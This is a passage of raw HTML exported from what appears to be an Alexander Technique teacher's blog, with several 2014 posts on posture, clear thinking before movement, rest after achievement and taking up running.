Alexander Technique deals first with </span><u style="font-size: 14pt; line-height: 115%;"><span style="color: #00b050;"><a href="http://vstanhamalexandertechnique.blogspot.com/2014/12/keys-of-alexander-technique-part-1.html" target="_blank">clearing your thinking</a></span></u><span style="font-size: 14pt; line-height: 115%;"> so that you are able to move in the direction that you
wish to move, and not where your unconscious habit would take you.</span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">So, before
setting out, you pause to remind yourself to let go of your habitual tension
patterns. And then, after the pause, it is a matter of committing to your new direction.
<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Ultimately,
direction is a movement from point A to point B. But, in the Alexander
Technique, we’re much more concerned with <span style="color: #7030a0;">how we
travel that distance. <o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><span style="color: #7030a0;"><br /></span></span></div>
<div class="MsoNormal">
<span style="color: #7030a0; font-size: 14.0pt; line-height: 115%;">In
bodily terms this “<i>how” </i>is determined
by a “primary movement” that comes before any actual step we take in the
direction of point B</span><span style="font-size: 14.0pt; line-height: 115%;">.
This “primary movement”, which has its definite physical manifestation in the dynamic
relationship between head-spine-ribs-girdles-limbs, is governed by two “mind” aspects.
<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The first
“mind” aspect is <i><span style="color: #7030a0;">body</span></i>
<i><span style="color: #7030a0;">awareness </span></i>(body
map). During lessons we strive to <i><span style="color: #7030a0;">raise our sensory appreciation</span></i> of our body
parts, and their relationships to each other and to the whole. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The second,
and most important “mind” aspect, is perhaps unique to the Alexander Technique.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Having
determined "<i>how"</i> we want to travel from A to B<span style="color: #7030a0;">, the Alexander Technique concerns itself
with making sure we start and keep moving in said direction</span> <i><span style="color: #7030a0;">in the manner that
we decided</span></i>. What we don’t want is our habitual tension patterns to
sneak in on us the moment we spring into action and undo our “primary
movement”. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">There are
infinite ways of getting from A to B. The “primary movement” ensures that we do
so in such a way that we’re not interfering with our natural postural reflexes.
Alexander called it “lengthening (and widening) in stature” which is akin to
“decompressing your joints for movement” or “creating space for movement to
occur.”<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-72314318213225567752014-12-11T09:45:00.000-02:002014-12-11T09:45:17.364-02:00Keys of the Alexander Technique (part 1): Clearing up your THINKING<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-2f6T5Bc8JQo/VIcwDRmsbEI/AAAAAAAAGAQ/mJQ0RE15vdY/s1600/animal-17474_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-2f6T5Bc8JQo/VIcwDRmsbEI/AAAAAAAAGAQ/mJQ0RE15vdY/s1600/animal-17474_640.jpg" /></a></div>
<span style="font-size: 14pt; line-height: 115%;"><br /></span>
<span style="font-size: 14pt; line-height: 115%;">Two of the
top </span><span style="color: #7030a0; font-size: 14pt; line-height: 115%;">benefits</span><span style="font-size: 14pt; line-height: 115%;"> of the Alexander Technique are </span><span style="color: #7030a0; font-size: 14pt; line-height: 115%;">health and posture</span><span style="font-size: 14pt; line-height: 115%;">. These are, however, not
exclusive to the Technique.</span></div>
<div class="MsoNormal">
<span style="font-size: 14pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The <span style="color: #7030a0;">objective</span> of the Alexander Technique could be described as “<span style="color: #7030a0;">lightness and freedom of movement with minimum effort</span>.” But here once again the Alexander Technique does not hold a
monopoly. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #7030a0; font-size: 14.0pt; line-height: 115%;">What
distinguishes the Alexander Technique from other mind-body disciplines isn’t so
much what comes at the end of the process, but rather the emphasis it puts on <i>how we get there</i>. And the key is in the
THINKING PROCESS involved.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="color: #7030a0; font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">During Alexander
Technique lessons you get to learn some of the anatomical and physiological aspects
of movement, but this is not where the true core of the work lies. <span style="color: #7030a0;">When we think about the structures that we’ll be moving,
we’re not as interested in the actual movement as we are in <i>the clarity of the thought and intention
behind the movement</i>.</span><o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><span style="color: #7030a0;"><br /></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The learning
process in the Alexander Technique centers on <i><span style="color: #7030a0;">clarifying the thinking process that gets
you into movement</span></i>. Alexander called it “quickening the conscious
mind.” It’s about working with the reasoning, discriminating, creative and
decision making capabilities of our minds.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">If our
bodies are not responding to our <span style="color: #7030a0;">conscious wishes</span>
perhaps it isn’t because they are structurally unable to do so, but rather
because we’re having <span style="color: #7030a0;">unconscious wishes that
conflict with our conscious ones</span>. These “unconscious wishes” are made
manifest in our muscle tension patterns.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">We fail to
realize this because the unconscious wishes have been there for so long they have
become part of our “self-definition.” <span style="color: #7030a0;">To go in a
new conscious direction, we must first become aware of what direction we’re
already unconsciously heading in… and let go of the conflicting wish</span>. <o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">This is
really what the Alexander Technique is about: If you wish to go left, you’ve
got to first pause and remind yourself to stop your habit of always going
right. Because if you rush left without thinking, that is, without “inhibiting”
your tendency to go right, you’ll end up going nowhere fully or satisfactorily.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-55272348159776289132014-12-04T18:12:00.001-02:002014-12-04T18:12:30.174-02:00POSTURE FOR BEGINNERS (part 2): An (un)learning process.<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-dQLl0jc-Mbc/VIByZlfQOVI/AAAAAAAAGAA/3h3oXe29VKw/s1600/evoluci%C3%B3n-de-la-postura.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-dQLl0jc-Mbc/VIByZlfQOVI/AAAAAAAAGAA/3h3oXe29VKw/s1600/evoluci%C3%B3n-de-la-postura.jpg" height="242" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Most sports and
art forms have an “ideal posture” to practice them. Books and articles on them
will describe this ideal posture, and sometimes offer muscular exercises that
will help you achieve it.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">However, <i><span style="color: #0070c0;">if visually
identifying what we need to change and doing muscles exercises to correct deviations
from perfect form were enough, we’d all have good posture and no one would have
back pain from bad postural habits.<o:p></o:p></span></i></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><i><span style="color: #0070c0;"><br /></span></i></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This visual and
muscular take on posture presents <i><span style="color: #0070c0;">3 problems</span>.<o:p></o:p></i></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><i><br /></i></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Firstly, <i><span style="color: #0070c0;">it assumes that he
who receives the instructions knows his own body </span></i>(has a clear body
map) and can adopt the recommended posture without undue tension.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Secondly, <i><span style="color: #0070c0;">it assumes that he
who gives instruction and he who receives it, both interpret the concepts in
the same way</span>. </i>Truth is we all have our own conceptual and sensorial
definitions of our different body parts (“the neck” might not be exactly the
same in my body map as in yours).<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Thirdly, it assumes
that we have to “work our postural muscles” with specific exercises, otherwise
we’re bound to “go downhill” with gravity and age.* </span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This view <i><span style="color: #0070c0;">does</span> <span style="color: #0070c0;">not recognize that it is our heritage as homo sapiens
sapiens to be proudly erect without undue effort</span></i> if we do not
interfere with the postural reflexes of our elegant design.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">If instead we adopt
the view that nature made us upright bipeds, and did so quite satisfactorily, <i><span style="color: #0070c0;">then we shouldn’t
so much “learn” to stand upright as “un-learn” to stand crookedly</span></i><span style="color: #0070c0;">.<o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #0070c0;"><br /></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">As homo sapiens
sapiens we’re inheritors of a basic “software” that enables us to stand on our
two feet in easy balance. This “software” is made up of a set of reflexes that
we integrate, with greater or lesser success, during our early development. Since
we all have the software, perhaps all we need is a little re-programming.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<i><span style="color: #0070c0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Hence, the best way to work on your posture is first
to recognize what you must “stop doing.”<o:p></o:p></span></i></div>
<div class="MsoNormal">
<i><span style="color: #0070c0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></i></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">We must go to the
deeper causes, to what is under the surface and cannot be seen with the naked eye.
<i><span style="color: #0070c0;">Self-knowledge
is at the base of good posture.<o:p></o:p></span></i></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><i><span style="color: #0070c0;"><br /></span></i></span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 12.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">* I don’t mean by
this that you should not do exercise to correct muscle weaknesses that go hand
in hand with bad posture and lack of joint mobility. What I do encourage you to
do is to work those muscles ‘functionally’ and considering your body as a whole
unit. You should be conscious of the balance and integration of your whole body
during movement, and not just work the “weak muscles” in isolation.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-33945086115212442822014-11-28T17:24:00.000-02:002014-11-28T17:24:07.377-02:00POSTURE FOR BEGINNERS (part 1): Getting to the Root of the Problem<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-K4NW2tmxIjA/VHir4jwdGFI/AAAAAAAAF_Y/4pNQj8gtEZw/s1600/meerkat-459171_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-K4NW2tmxIjA/VHir4jwdGFI/AAAAAAAAF_Y/4pNQj8gtEZw/s1600/meerkat-459171_640.jpg" /></a></div>
<div class="MsoNormal">
<span style="font-size: 14pt;">Sometimes I too
want quick solutions, instant solutions.</span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The problem is
that <i><span style="color: #0070c0;">these “express”
solutions don’t last long</span></i>; they are no more than a mask for the
problem, not a <i>real</i> solution.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The same happens with
postural problems and their “quick fixes”.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<i><span style="color: #0070c0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Posture is at the base of every discipline</span></i><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">.
Every sport or activity you practice has a certain ideal “form” or “posture”
that allows you to perform the activity with the least amount of wear and tear
and the highest degree of efficiency.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">But saying, “a good
posture is that in which, when seen from the side, the ear, shoulder, hip and
ankle are aligned,” is merely giving a <i><span style="color: #0070c0;">visual description of the result</span>. </i>This
description does not include the steps of <i><span style="color: #0070c0;">inner organization</span></i> that allow for the <i><span style="color: #0070c0;">external visible
result</span>.</i><o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><i><br /></i></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The postural recommendations
offered in every discipline have their logic. The problem is that we, who don’t
know our own bodies, <span style="color: #0070c0;">force ourselves into these
recommended forms by sheer muscular effort</span>. We end up habituating the
requisite form but also the <span style="color: #0070c0;">unnecessary tension</span>
of the effort.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">How much better
it would be if we could adopt these “postures” with total freedom, and be able
to get out of them with equal liberty!<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">But… how?<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The Alexander
Technique is a “pre-technique”, it is the foundation for all other techniques
and disciplines. <span style="color: #0070c0;">The Alexander Technique teaches
you how to organize your body in such a way that you can adopt in the most
natural way any of the “postures” or “forms” recommended by other disciplines.<o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #0070c0;"><br /></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">In fact, after
working with the Alexander Technique <span style="color: #0070c0;">your concept
of “posture” changes</span>. It shifts from being something “rigid” or “fixed” into
something <span style="color: #0070c0;">mobile and dynamic</span>. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Posture stops
being something you impose from the outside based on “how it should look” despite
the tense muscular effort to hold it, and becomes something that springs from
inside based on “how you perceive the shifting balance of your skeletal
structure” and <span style="color: #0070c0;">guided by a clear thought process
which frees the muscles and decompresses the joints</span>.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com2tag:blogger.com,1999:blog-574841750375577755.post-52448483802840260772014-11-23T17:05:00.002-02:002014-11-23T17:05:33.309-02:00A Little Bit of Perspective: Seeing the Whole Glass<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vcRUL93gqaI/VHIrFSU0uNI/AAAAAAAAF_I/udqsAi5UXzw/s1600/ship-315308_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-vcRUL93gqaI/VHIrFSU0uNI/AAAAAAAAF_I/udqsAi5UXzw/s1600/ship-315308_640.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;"> </span><span style="font-size: 14pt; line-height: 115%;">There are few things as easy as
focusing on ‘what’s missing’ or ‘what went wrong’. What’s not so easy, what
needs to be learnt and practiced, is to note ‘what was effectively done’ and ‘what
went right.’</span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">There exist neurological-evolutionary
reasons why, as beings who for a long time where some other animal’s dinner, we’re
predisposed to pay more attention to the possible dangers than to the present
blessings.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">That is why we need to train our
ability to ‘also see the the half-full glass.’ This does not mean we ignore
that half of the glass is effectively empty. What we’re trying to get is an
image of the <i>whole</i> glass, with its
two halves.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">For example, I’m starting to run
regularly. My plan is to do so at least 3 times a week and for at least 3 miles
every time. I have a full plan that includes speed runs, endurance runs, tempo
runs to build stamina… all the works.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Truth is I don’t always (or can’t
always) stick to plan; and it would be so easy for me to be hard on myself for
not doing so, and to focus only on how I fell short of my own high expectations.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">But knowing how easy it is to see
only the half-empty glass, I made an effort to see the half-full glass too. In
that half I found the following: this week I went running 3 times (2 of those
at 6.30am), I ran 3 miles each time, once I added speed work. The last run was
with my sister, and actually we walked for half the distance, and ran the other
half, but I enjoyed spending the time together and being able to chat.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">True it is that I didn’t stick to
plan as written, and perhaps that will put me back a few days to reaching my
final objective (that’s my half-empty glass). However, I did so enjoy filling
the other half! And that’s gotta be worth something too!<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">So, what glass are you trying to fill
up today? You surely know how far you’re from a full glass. Don’t abandon your
goal. But if you find that from staring at the half-empty glass you start to
become depressed, I invite you to look at the half-full glass too and celebrate
every drop that added its effort to getting you to where you are now.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-16327575027155513292014-11-16T12:53:00.000-02:002014-11-16T12:53:16.307-02:00Celebrating Achievements: a blog about Honoring Rest<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Jp6mx-9NlSo/VGi06X7fAgI/AAAAAAAAF-4/gphaIDeOzuU/s1600/legs-434918_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-Jp6mx-9NlSo/VGi06X7fAgI/AAAAAAAAF-4/gphaIDeOzuU/s1600/legs-434918_640.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14pt; line-height: 115%;">Yesterday, my partner </span><b style="font-size: 14pt; line-height: 115%;"><u><a href="http://egomezhaedo.blogspot.com/" target="_blank">Eduardo</a></u></b><span style="font-size: 14pt; line-height: 115%;"> and I, gave our first
joint workshop on </span><b style="font-size: 14pt; line-height: 115%;"><u><a href="http://us3.campaign-archive1.com/?u=63985e0b3e3430abfe55d4e3d&id=0b4665a313" target="_blank">the Mistery of Stopping and Taking Root in the Body</a></u></b><span style="font-size: 14pt; line-height: 115%;">. It was the culmination of several
months of arduous work, of comings and goings, of long discussions on the topic
and longer practice sessions of the work. Finally we made it, and by yesterday
afternoon it was successfully over.</span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">It takes a while to come to rest
after such an impulse. The inertia continues for a while. After such a race, coming
to rest is something we have to consciously if we mean to savor the sweet space
in which we do nothing for a while. It is a regenerative space.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">It is not easy to stop and savor. The
impulse’s inertia makes me believe that there is stuff I need to plan, things
to do, processes to evaluate and new decisions to be made.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">There’ll be time for that… tomorrow. </span><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Today
I rest. Today I do nothing. </span><span style="font-size: 14.0pt; line-height: 115%;">Today I enjoy what I’ve achieved. Today I don’t look at what could have
been better, what remains to be corrected and adjusted. Today I don’t look
ahead to the road that’s left to travel. There’ll be time for that… tomorrow.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">It’s so difficult sometimes to just
stop and give ourselves permission to simply enjoy our achievements. We’re
always noting what was missing, what wasn’t perfect, what is left to correct.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">There will always be something to do.
Every new achievement opens up doors to new avenues for improvement and
discovery. When we reach the top of the hill we always find that the road goes
on, that this hill has to be climbed down to climb the next one in line.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">But enjoying the road implies
savoring not only the effort of the climb, those moments when we feel we’re “doing
something productive.” Walking the path also implies learning to savor the
rests, those moments when we “do nothing” other than enjoy the vistas of what
we’ve already travelled. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Therefore today… today I rest. Today
I enjoy the view from here. Today I say thank you for having been able to walk
this far.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Victoria<o:p></o:p></span></b></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-14634801454638819422014-11-09T16:34:00.001-02:002014-11-09T16:34:17.496-02:00On Being a Beginner: A blog about savoring the process.<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-iip0F1NFNX0/VF-uPWAuYLI/AAAAAAAAF-g/-NgZKm2QK_E/s1600/httpunsplash.compost67405869886download-by-linh-nguyen.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-iip0F1NFNX0/VF-uPWAuYLI/AAAAAAAAF-g/-NgZKm2QK_E/s1600/httpunsplash.compost67405869886download-by-linh-nguyen.JPG" height="392" width="640" /></a></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;"> </span><span style="font-size: 14pt; line-height: 115%;">I ran my first 5K today. I hadn’t run
a race since my teen years.</span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">I
didn’t race… I ran, just that, my pace, my way, my world. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Being of a competitive and
self-demanding nature, just being able to run for my own enjoyment is a huge
accomplishment.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">It all started about a month ago when
my sister signed up to run her first 5K and started training. Something in her
way of going about it inspired me. My sister doesn’t seem to run to beat
anybody or prove anything.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">So I started running too. </span><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Easy.
Slowly. At my own pace. </span><span style="font-size: 14.0pt; line-height: 115%;">Trying
not to strive for Olympic Gold just yet.<o:p></o:p></span></div>
